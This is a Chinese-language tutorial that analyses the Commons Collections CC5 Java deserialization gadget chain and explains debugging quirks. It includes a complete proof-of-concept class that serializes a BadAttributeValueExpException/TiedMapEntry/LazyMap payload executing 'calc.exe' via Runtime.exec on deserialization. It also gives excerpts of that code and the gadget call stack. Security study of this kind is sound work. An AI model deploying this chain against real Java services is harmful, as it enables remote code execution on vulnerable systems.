简介

CC5 利用的还是CC1的链路,使用LazyMap,只要调用了LazyMap.get(),就可以触发ChainedTransformer,链式调用,那么在CC5中,在哪儿会调用这个get方法呢?
CC1 LazyMap 利用链中,我们知道动态代理对象调用任何一个方法时会调用handler中的invoke方法,然而我们知道sun.reflect.annotation.AnnotationInvocationHandler,会发现实际上这个类就是一个InvocationHandlerAnnotationInvocationHandler类,如果将这个恶意对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中。
在CC5中这里引入了新的两个类,分别是TiedMapEntry,BadAttributeValueExpException

TiedMapEntry

可以看到map,和key都是可控的,在调用getValue的时候,就直接调用get方法,实现LazyMap#get()
image.png
image.png
那么要在哪里调用这个getvalue函数呢,在TiedMapEntry里,我们可以看到该类为其实现了一个toString()方法
image.png
那么找到能调用TiedMapEntry#toString()方法就显得至关重要,接下来BadAttributeValueExpException类就会带来一片光明

BadAttributeValueExpException

BadAttributeValueExpexception 在readObject的时候,如果能读这个valObj为TiedMapEntry的实例,那么是不是就是一条完美的链路?
image.png
在此处,我们可以看到BadAttributeValueExpexception 的构造函数只有一个值val,但是类型是Object,那么我们可以按如下构造,当其反序列化的时候,调用readObject()函数的时候,反序列化得到的valObj就是对应的TiedMapEntry实例

  1. // 创建一个实例
  2. BadAttributeValueExpException val = new BadAttributeValueExpException(null);
  3. // 反射赋值
  4. Field valfield = val.getClass().getDeclaredField("val");
  5. valfield.setAccessible(true);
  6. valfield.set(val,"TiedMapEntry实例对象");

POC

  1. package com.myproject;
  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import javassist.ClassClassPath;
  4. import javassist.ClassPool;
  5. import javassist.CtClass;
  6. import org.apache.commons.collections.Transformer;
  7. import org.apache.commons.collections.functors.ChainedTransformer;
  8. import org.apache.commons.collections.functors.ConstantTransformer;
  9. import org.apache.commons.collections.functors.InvokerTransformer;
  10. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  11. import org.apache.commons.collections.map.LazyMap;
  12. import javax.management.BadAttributeValueExpException;
  13. import java.io.FileInputStream;
  14. import java.io.FileOutputStream;
  15. import java.io.ObjectInputStream;
  16. import java.io.ObjectOutputStream;
  17. import java.lang.reflect.Field;
  18. import java.util.HashMap;
  19. import java.util.Map;
  20. /*
  21. @params
  22. Test Env
  23. jdk8u181
  24. Commons Collection3.1
  25. */
  26. public class TestCC5 {
  27. public static void main(String[] args) throws Exception {
  28. Transformer[] transformers = new Transformer[]{
  29. new ConstantTransformer(Runtime.class),
  30. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  31. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  32. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  33. };
  34. Transformer transformerChain = new ChainedTransformer(transformers);
  35. Map innerMap = new HashMap();
  36. Map lazyMap = LazyMap.decorate(innerMap,transformerChain);
  37. TiedMapEntry entry = new TiedMapEntry(lazyMap, "1");
  38. BadAttributeValueExpException val = new BadAttributeValueExpException(null);
  39. Field valfield = val.getClass().getDeclaredField("val");
  40. valfield.setAccessible(true);
  41. valfield.set(val,entry);
  42. try{
  43. FileOutputStream fileOutputStream = new FileOutputStream("cc5.ser");
  44. ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
  45. objectOutputStream.writeObject(val);
  46. FileInputStream fileInputStream = new FileInputStream("cc5.ser");
  47. ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
  48. objectInputStream.readObject();
  49. }catch (Exception e){
  50. e.printStackTrace();
  51. }
  52. }
  53. }

0x1

第一部分为CC1 LazyMap 利用链前部分,也可以参考CC1 分析,这里只要调用了LazyMap#get,就会触发ChainedTransformer.transform(),进而对transformers链式调用

  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  4. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  5. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  6. };
  7. Transformer transformerChain = new ChainedTransformer(transformers);
  8. Map innerMap = new HashMap();
  9. Map lazyMap = LazyMap.decorate(innerMap,transformerChain);

0x2

在简介中可以看到,TiedMapEntry实例化的entry需要赋值给BadAttributeValueExpException@val,当反序列化的时候,取到对象,则会调用TiedMapEntry#toString方法,进而调用TiedMapEntry#get方法,其中Map可控,就是反序列化得来的恶意的TiedMapEntry实例lazymap

  1. TiedMapEntry entry = new TiedMapEntry(lazyMap, "1");
  2. BadAttributeValueExpException val = new BadAttributeValueExpException(null);
  3. Field valfield = val.getClass().getDeclaredField("val");
  4. valfield.setAccessible(true);
  5. valfield.set(val,entry);

对应的调用链为

  1. Gadget chain:
  2. ObjectInputStream.readObject()
  3. BadAttributeValueExpException.readObject()
  4. TiedMapEntry.toString()
  5. LazyMap.get()
  6. ChainedTransformer.transform()
  7. ConstantTransformer.transform()
  8. InvokerTransformer.transform()
  9. Method.invoke()
  10. Class.getMethod()
  11. InvokerTransformer.transform()
  12. Method.invoke()
  13. Runtime.getRuntime()
  14. InvokerTransformer.transform()
  15. Method.invoke()
  16. Runtime.exec()

image.png

调试

调试过程和LazyMap是一样的,我们在LazyMap#getfactory.transform(key)处打下断点来分析
image.png
可以看到利用链路为BadAttributeValueExpException.readObject()-> TiedMapEntry.toString()-> LazyMap.get()->ChainedTransformer.transform()
image.png
这里就是常规链式调用了
image.png

注:在调试过程中,如果在LazyMap#get前的堆栈打上断点,就无法进入LazyMap.get()的if语句

在调试过程中,如果在LazyMap.get()之前的堆栈中打下断点,比如BadAttributeValueExpException.readObject()TiedMapEntry.toString()TiedMapEntry.getValue()处打上断点,是无法进入 LazyMap.get()if 判断语句
在这里可以看到,我圈起来的部分,这里的意思就是已经执行了,因为发生调用了,只不过debug无法进入
image.png
到这里我们直接看LazyMap.get()方法,这里断点一定要打在if处,不然是不能进入断点
可以看到,在if处,得到了map参数已经不是空,而是在序列化的时候已经赋的初值。
可以通过比较没有在LazyMap.get()前的堆栈下断点的区别
image.png
图1 LazyMap.get()堆栈前下断点
image.png
图2 LazyMap.get()堆栈前无断点
这就是为什么我在调试部分我没有在其他函数处打断点,而是直接在LazyMap#get()处打断点。